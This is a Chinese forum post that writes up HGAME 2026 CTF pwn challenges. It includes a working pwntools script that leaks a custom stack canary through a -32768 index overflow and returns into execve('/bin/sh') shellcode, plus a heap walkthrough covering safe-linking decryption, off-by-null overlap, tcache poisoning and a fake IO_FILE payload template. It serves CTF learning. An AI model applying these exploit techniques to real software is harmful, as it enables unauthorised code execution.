首页
社区
课程
招聘
[原创]HGAME 2026复现(1)
发表于: 1天前 576

[原创]HGAME 2026复现(1)

1天前
576

查看保护,发现栈有可执行权限,猜测跟ret2shellcode有关

main函数设置了一个canary,checksec才看不出来。从canary = (__int64)&v1可以看出,这个canary是全局变量,存放栈上的地址

接着在while循环里用了个switch,对应四种功能,首先看case 0,因为v8[128]的空间是0x3e8,跟rbp的距离是0x3FA,而read(0, v8, 0x410uLL);则会导致栈溢出,溢出长度是0x28,可以覆盖到返回地址+0x6的位置。注意memset(v8, 0, sizeof(v8));会清空v8的内容。

这里对应case 1,把dis数组对应索引位置清0.

这个函数用来打印dis对应索引的值,要求索引值是正数。但这里存在个问题LOWORD(v0) = -v2;首先%hd输入的是两个字节,v2是用补码表示的,-v2则是将v2做取反运算再+1。

比如说

+5 二进制是 101

0x0005

所以:

-5 的比特 0xFFFB

得到:

这里有个特殊情况:最小负数无法变成正数
比如 16 位有符号数的最小值是 -32768,它的相反数 32768 超出范围,会溢出,取反+1后反而等于自身。

可以看到canary在dis的低地址方向,差了0x40000,再除以8,刚好等于32768,所以我们可以输入index为-32768达到数组越界打印canary,从而泄露栈地址。

case3同样存在整数溢出的问题,输入index为-32768,就可以修改canary值

检查canary值

需要注意写入的shellcode只能写到返回地址之前,返回地址需要存放shellcode的地址,所以shellcode最多只能写入0x1A(0x3FA-0x3E8+0x8)。不过这里为了方便对齐,我直接从rbp-0x10(注意这里要修改canary的值等于shellcode的前八个字节,绕过检查)开始写,只写入0x18长度的shellcode。

把断点打在设置canary之后,查看canary的值,存着栈地址

再看rbp的值

计算到canary也就是rbp-0x10的偏移是0x408,后面我们泄露出栈地址,加上这个偏移就是shellcode的地址了

在2.32版本,ptmalloc引入了PROTECT_PTR,即保护指针的概念,其指针是被异或加密的,如果对系统的堆地址一无所知,将无法正确解读泄露的指针的真实值。

tcache_put当然也引入了这一机制,其next指针(fd)将会与entry首块进行异或加密。

结合两个代码,其实就是e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]

触发这个 PROTECT_PTR 宏,有两种情况:

第一种是当前 free 的堆块是第一个进入 tcache bin 的(此前 tcache bin 中没有堆块),这种情况原本 next 的值就是 0 。第二种情况则是原本的 next 值已经有数据了。如果是第一种情况的话,对于 safe-Linking 机制而言,可能并没有起到预期的作用,因为将当前堆地址右移 12 位和 0 异或,其实值没有改变,如果我们能泄露出这个运算后的结果,再将其左移 12 位就可以反推出来堆地址,如果有了堆地址之后,那我们依然可以篡改 next 指针,达到任意地址申请的效果

举个栗子:

当前tcachebins是空的

我们free一个size为0x100的chunk,可以看到这个chunk加密后的next指针是0x000000055924f45f。还是看e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]这个代码,首先&e->next就是next指针的地址,也就是0x55924f45fbd0,再就是tcache -> entries[tc_idx],在我们free之前,这个tcachebin是空的,所以就是0了,也就是变成了e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fbd0 >> 12) ^ 0 = 0x55924f45f。这对应第一种情况。

接着我们再free一个同样是size为0x100的chunk,首先&e->next就是next指针的地址,也就是0x55924f45fcd0,再就是tcache -> entries[tc_idx],在我们free之前,这个tcachebin是有一个chunk的,指向的是0x55924f45fbd0,也就是变成了e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x55924f45fbd0 =0x559716610f8f 。

恢复 next 的宏为 #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) ,其实这个宏最终还是调用了 PROTECT_PTR ,原理就是 A=B^C ; C=A^B

所以我们要想解密next指针,就变成了e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx]。这里的&tcache -> entries[tc_idx]其实就是&e->next

以第二种情况为例子:

e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x559716610f8f = 0x55924f45fbd0

所以只要我们成功泄露&e->next的值或者heap基址,就可以通过设置加密的next指针为e->next = ((&e->next) >> 12 ) ^ target_addr ,实现申请任意地址的chunk

原理:

利用off by null修改掉chunk的size域的P位,绕过unlink检查,在堆的后向合并过程中构造出chunk overlapping。

例子:

参考78fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1N6s2c8S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0r3x3e0R3@1y4g2)9J5c8R3`.`.

模板

保护全开。。

还是一个菜单题,共有四种功能,前三种分别对应写、删除、打印日记,最后一种对应退出程序,使用exit(0)退出。当执行exit函数时会触发<font style="color:rgba(0, 0, 0, 0.87);">_IO_flush_all_lockp</font>

该函数首先需要输入一个小于0x64的索引,且需要unk_4040[index]为空,unk_4040用来存放malloc返回的用户地址。接着就是输入申请的内存大小v2,最终申请的内存大小会在v2基础上加上16。申请完后接着就是写入两次八字节分别是date和weather,再写入v2个字节为content字段。

需要注意*(_BYTE )(((_QWORD *)&unk_4040 + v1) + v3 + 16) = 0;这里存在off by null,可以覆盖高地址chunk的size最低一个字节为0x0

输入小于0x63的索引,free掉对应索引的内存。

同样根据索引分别打印Date,Weather和Content的内容

先写一下程序交互

申请四个chunk并free chunkA和chunkC,此时unsorted bin为unsorted bin -> chunkC -> chunkA ->unsorted bin,

vmmap看一下libc基址和heap基址,算出偏移分别是0x21ace0和0x720

接着申请回chunkA并打印信息

需要注意的是,再申请回chunkA的过程中,需要往内存里写东西,为了不破坏地址信息,这里只写入了换行符,所以libc和heap偏移分别要改成0x21ac0a和0x70a

这里把chunkC申请回来,因为后面要申请0x100大小的chunk,会split,比较麻烦

这里申请了9次chunk,chunk7要设置fake chunk绕过unlink检查

此时tcachebin满了

chunk9修改前

chunk9修改后,可以看到P被改为0,设置了prev_size

unlink时,这里prev_size的设置是为了绕过__builtin_expect(chunksize(P)!=prev_size(next_chunk(P)),0)

big chunk放入了unsortedbin中,size为0x2e0,因为不是同一次调试,地址不一样了。。凑合着看吧

看回chunk7,根据safe-linking的代码e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx],&e->next就是0x5612b4e3d2d0,tcache -> entries[tc_idx]就是之前tcachebin长度为6的情况,是0x5612b4e3d0d0,计算结果为0x5617d5c89eed。我们之前泄露了heap基址,计算得到&e->next偏移是0x12d0,我们只需要伪造target_addr为&_IO_list_all即可

覆写next指针后,申请回chunk8,下一个就是_IO_list_all了

接着就是申请这个_IO_list_all,然后改为chunkC+0x20的地址,偏移是0x740,因为我们后面写入的IO_file结构是在content字段,prev_size,size,Date,weather刚好是0x20

释放并申请chunkC,伪造IO_file,照着模板抄就行了,最后退出程序获取shell

d10K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2x3e0p5H3x3r3&6Q4x3X3g2@1k6h3y4Z5i4K6u0r3j5X3W2F1j5i4u0&6i4K6g2X3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6Q4x3U0g2q4y4W2)9J5y4f1t1#2i4K6t1#2z5o6g2Q4x3U0g2q4y4W2)9J5y4e0W2q4i4K6t1#2z5e0m8@1j5$3q4U0K9r3g2Q4x3U0g2q4y4g2)9J5y4f1q4q4i4K6t1#2z5o6W2Q4x3U0g2q4y4g2)9J5y4e0R3#2i4K6t1#2b7e0S2Q4x3U0g2q4y4W2)9J5y4e0W2o6i4K6t1#2b7V1q4Q4x3U0g2q4y4g2)9J5y4e0R3^5i4K6t1#2b7U0k6Q4x3U0g2q4y4W2)9J5y4f1u0o6i4K6t1#2z5e0c8Q4x3U0g2q4z5q4)9J5y4f1u0r3i4K6t1#2z5f1u0Q4x3U0g2q4z5q4)9J5y4f1u0r3i4K6t1#2z5o6N6Q4x3U0g2q4y4#2)9J5y4f1p5^5i4K6t1#2z5p5u0Q4x3U0g2q4y4q4)9J5y4f1t1^5i4K6t1#2z5p5g2Q4x3U0g2q4y4#2)9J5y4f1u0n7i4K6t1#2z5e0g2Q4x3U0g2q4z5q4)9J5y4f1u0r3i4K6t1#2z5o6N6Q4x3U0g2q4y4W2)9J5y4e0R3&6i4K6t1#2z5p5u0Q4x3U0g2q4y4W2)9J5y4f1t1K6i4K6t1#2z5e0g2Q4x3V1j5`.

d10K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9h3E0Z5x3U0k6Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8Y4m8G2M7%4c8K6i4K6u0r3y4e0l9I4j5$3y4S2y4W2)9J5k6h3S2@1L8h3H3`.

6faK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0p5J5x3U0V1$3x3K6b7K6y4e0t1J5

ac0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1N6s2c8S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0r3x3e0R3@1y4g2)9J5c8R3`.`.

464K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3c8S2M7W2)9J5k6s2c8W2j5h3#2Q4x3V1k6t1c8@1q4y4c8e0t1H3x3U0k6Q4y4h3k6i4M7X3W2@1k6i4g2H3

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rdx
  __int16 v4; // ax
  __int16 v6[2]; // [rsp+0h] [rbp-400h] BYREF
  __int16 i; // [rsp+4h] [rbp-3FCh]
  _QWORD v8[125]; // [rsp+6h] [rbp-3FAh] BYREF
  __int64 v9; // [rsp+3F0h] [rbp-10h]
 
  init_canary(argc, argv, envp);
  v9 = canary;
  putchar(10);
  while ( 1 )
  {
    printf("choose> ");
    __isoc99_scanf("%hd", v6);
    switch ( v6[0] )
    {
      case 0:
        printf("way> ");
        read(0, v8, 0x410uLL);
        printf("distance> ");
        for ( i = 0; i <= 200 && dis[i]; ++i )
          ;
        v3 = (_QWORD *)((char *)&str + 1304 * i);
        *v3 = v8[0];
        v3[124] = v8[124];
        qmemcpy(
          (void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL),
          (const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
          8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3));
        memset(v8, 0, sizeof(v8));
        __isoc99_scanf("%lu", &dis[i]);
        break;
      case 1:
        delete();
        break;
      case 2:
        show();
        break;
      case 3:
        printf("index> ");
        __isoc99_scanf("%hd", v6);
        v4 = v6[0];
        if ( v6[0] <= 0 )
          v4 = -v6[0];
        v6[0] = v4;
        if ( v4 > 200 )
        {
          puts("invalid index");
        }
        else
        {
          printf("a new distance> ");
          __isoc99_scanf("%lu", &dis[v6[0]]);
        }
        break;
      case 4:
        if ( v9 != canary )
        {
          printf("it's a poor decision :(");
          exit(0);
        }
        return 0;
      default:
        continue;
    }
  }
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rdx
  __int16 v4; // ax
  __int16 v6[2]; // [rsp+0h] [rbp-400h] BYREF
  __int16 i; // [rsp+4h] [rbp-3FCh]
  _QWORD v8[125]; // [rsp+6h] [rbp-3FAh] BYREF
  __int64 v9; // [rsp+3F0h] [rbp-10h]
 
  init_canary(argc, argv, envp);
  v9 = canary;
  putchar(10);
  while ( 1 )
  {
    printf("choose> ");
    __isoc99_scanf("%hd", v6);
    switch ( v6[0] )
    {
      case 0:
        printf("way> ");
        read(0, v8, 0x410uLL);
        printf("distance> ");
        for ( i = 0; i <= 200 && dis[i]; ++i )
          ;
        v3 = (_QWORD *)((char *)&str + 1304 * i);
        *v3 = v8[0];
        v3[124] = v8[124];
        qmemcpy(
          (void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL),
          (const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
          8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3));
        memset(v8, 0, sizeof(v8));
        __isoc99_scanf("%lu", &dis[i]);
        break;
      case 1:
        delete();
        break;
      case 2:
        show();
        break;
      case 3:
        printf("index> ");
        __isoc99_scanf("%hd", v6);
        v4 = v6[0];
        if ( v6[0] <= 0 )
          v4 = -v6[0];
        v6[0] = v4;
        if ( v4 > 200 )
        {
          puts("invalid index");
        }
        else
        {
          printf("a new distance> ");
          __isoc99_scanf("%lu", &dis[v6[0]]);
        }
        break;
      case 4:
        if ( v9 != canary )
        {
          printf("it's a poor decision :(");
          exit(0);
        }
        return 0;
      default:
        continue;
    }
  }
}
init_canary(argc, argv, envp);
v9 = canary;
 
__int64 *init_canary()
{
  __int64 *result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h] BYREF
 
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v1 = (__int64)&v1;
  result = &v1;
  canary = (__int64)&v1;
  return result;
}
init_canary(argc, argv, envp);
v9 = canary;
 
__int64 *init_canary()
{
  __int64 *result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h] BYREF
 
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v1 = (__int64)&v1;
  result = &v1;
  canary = (__int64)&v1;
  return result;
}
int delete()
{
  __int16 v1; // [rsp+Eh] [rbp-2h]
 
  printf("index> ");
  __isoc99_scanf("%hd");
  dis[v1 % 201] = 0LL;
  return printf("%hd", (unsigned int)(v1 % 201));
}
int delete()
{
  __int16 v1; // [rsp+Eh] [rbp-2h]
 
  printf("index> ");
  __isoc99_scanf("%hd");
  dis[v1 % 201] = 0LL;
  return printf("%hd", (unsigned int)(v1 % 201));
}
int show()
{
  __int64 v0; // rax
  __int16 v2; // [rsp+Eh] [rbp-2h] BYREF
 
  printf("index> ");
  __isoc99_scanf("%hd", &v2);
  LOWORD(v0) = v2;
  if ( v2 <= 0 )
    LOWORD(v0) = -v2;
  v2 = v0;
  LODWORD(v0) = (unsigned __int16)v0;
  if ( (__int16)v0 <= 199 )
  {
    v0 = dis[v2];
    if ( v0 )
      LODWORD(v0) = printf(": %lu\n", dis[v2]);
  }
  return v0;
}
int show()
{
  __int64 v0; // rax
  __int16 v2; // [rsp+Eh] [rbp-2h] BYREF
 
  printf("index> ");
  __isoc99_scanf("%hd", &v2);
  LOWORD(v0) = v2;
  if ( v2 <= 0 )
    LOWORD(v0) = -v2;
  v2 = v0;
  LODWORD(v0) = (unsigned __int16)v0;
  if ( (__int16)v0 <= 199 )
  {
    v0 = dis[v2];
    if ( v0 )
      LODWORD(v0) = printf(": %lu\n", dis[v2]);
  }
  return v0;
}
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./vuln')
#io = remote("cloud-middle.hgame.vidar.club",32265)
io.sendlineafter(b"choose> ",b"2")
io.sendlineafter(b"index> ",b"-32768")
io.recvuntil(b": ")
aa = int(io.recvuntil(b"\n",drop=True))
log.success(hex(aa))
shellcode = asm('''
        pop r11
    mov rax, 0x68732f6e69622f
        push rax
        push rsp
        pop rdi
        xor eax, eax
        mov al, 59
        xor rdx, rdx
        syscall
''')# 因为rsp和shellcode挨得很近,两次push会破坏shellcode,所以这里我先pop一次抬高rsp的地址
# rsi在调试的时候发现是0,就不用去赋值了
log.info(len(shellcode))
addr = aa + 0x408
log.success(hex(addr))
payload = b'a'*(0x3e8+2)+shellcode+p64(addr)
io.sendlineafter(b"choose> ",b"3")
io.sendlineafter(b"index> ",b"-32768")
n = int.from_bytes(shellcode[:8], byteorder="little", signed=False)
log.success(hex(n))
io.sendlineafter(b"a new distance> ", str(n).encode())
io.sendlineafter(b"choose> ",b"0")
# gdb.attach(io,'b *$rebase(0x14EE)')
# pause()
io.sendafter(b"way> ",payload)
io.sendlineafter(b"distance> ",b'233')
io.sendlineafter(b"choose> ",b"4")
io.interactive()
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./vuln')
#io = remote("cloud-middle.hgame.vidar.club",32265)
io.sendlineafter(b"choose> ",b"2")
io.sendlineafter(b"index> ",b"-32768")
io.recvuntil(b": ")
aa = int(io.recvuntil(b"\n",drop=True))
log.success(hex(aa))
shellcode = asm('''
        pop r11
    mov rax, 0x68732f6e69622f
        push rax
        push rsp
        pop rdi
        xor eax, eax
        mov al, 59
        xor rdx, rdx
        syscall
''')# 因为rsp和shellcode挨得很近,两次push会破坏shellcode,所以这里我先pop一次抬高rsp的地址
# rsi在调试的时候发现是0,就不用去赋值了
log.info(len(shellcode))
addr = aa + 0x408
log.success(hex(addr))
payload = b'a'*(0x3e8+2)+shellcode+p64(addr)
io.sendlineafter(b"choose> ",b"3")
io.sendlineafter(b"index> ",b"-32768")
n = int.from_bytes(shellcode[:8], byteorder="little", signed=False)
log.success(hex(n))
io.sendlineafter(b"a new distance> ", str(n).encode())
io.sendlineafter(b"choose> ",b"0")
# gdb.attach(io,'b *$rebase(0x14EE)')
# pause()
io.sendafter(b"way> ",payload)
io.sendlineafter(b"distance> ",b'233')
io.sendlineafter(b"choose> ",b"4")
io.interactive()
patchelf --set-interpreter /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 ./vuln
patchelf --replace-needed libc.so.6 /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6 ./vuln
patchelf --set-interpreter /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 ./vuln
patchelf --replace-needed libc.so.6 /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6 ./vuln
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
申请chunk A、chunk B、chunk C、chunk D,chunk D用来做gap,chunk A、chunk C都要处于unsortedbin范围
 
释放A,进入unsortedbin
 
对B写操作的时候存在off by null,修改了C的P位
 
释放C的时候,堆后向合并,直接把A、B、C三块内存合并为了一个chunk,并放到了unsortedbin里面
 
读写合并后的大chunk可以操作chunk B的内容
申请chunk A、chunk B、chunk C、chunk D,chunk D用来做gap,chunk A、chunk C都要处于unsortedbin范围
 
释放A,进入unsortedbin
 
对B写操作的时候存在off by null,修改了C的P位
 
释放C的时候,堆后向合并,直接把A、B、C三块内存合并为了一个chunk,并放到了unsortedbin里面
 
读写合并后的大chunk可以操作chunk B的内容
payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1,
        0xd0:heap_base + 0x250,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
    },
    filler = '\x00'
)
payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1,
        0xd0:heap_base + 0x250,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
    },
    filler = '\x00'
)
__int64 sub_127C()
{
  write(1, "1.write a new diary.\n", 0x15uLL);
  write(1, "2.delete a diary.\n", 0x13uLL);
  write(1, "3.show a diary.\n", 0x11uLL);
  write(1, "4.exit.\n", 8uLL);
  write(1, "input your choice:", 0x12uLL);
  return sub_1229();
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]
 
  write(1, "Let's start writing a diary!\n", 0x1DuLL);
  memset(&dword_4360, 0, 0x190uLL);
  while ( 1 )
  {
    v3 = sub_127C();
    if ( v3 == 4 )
    {
      write(1, "Goodbye!\n", 9uLL);
      exit(0);
    }
    if ( v3 > 4 )
    {
LABEL_12:
      write(1, "You can't do that.\n", 0x13uLL);
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          sub_15EB();
          break;
        case 1:
          sub_130D();
          break;
        case 2:
          sub_1553();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
__int64 sub_127C()
{
  write(1, "1.write a new diary.\n", 0x15uLL);
  write(1, "2.delete a diary.\n", 0x13uLL);
  write(1, "3.show a diary.\n", 0x11uLL);
  write(1, "4.exit.\n", 8uLL);
  write(1, "input your choice:", 0x12uLL);
  return sub_1229();
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]
 
  write(1, "Let's start writing a diary!\n", 0x1DuLL);
  memset(&dword_4360, 0, 0x190uLL);
  while ( 1 )
  {
    v3 = sub_127C();
    if ( v3 == 4 )
    {
      write(1, "Goodbye!\n", 9uLL);
      exit(0);
    }
    if ( v3 > 4 )
    {
LABEL_12:
      write(1, "You can't do that.\n", 0x13uLL);
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          sub_15EB();

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 1天前 被G0t1T编辑 ,原因: 有些笔误
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 3045
活跃值: (11010)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢分享!
1天前
0
游客
登录 | 注册 方可回帖
返回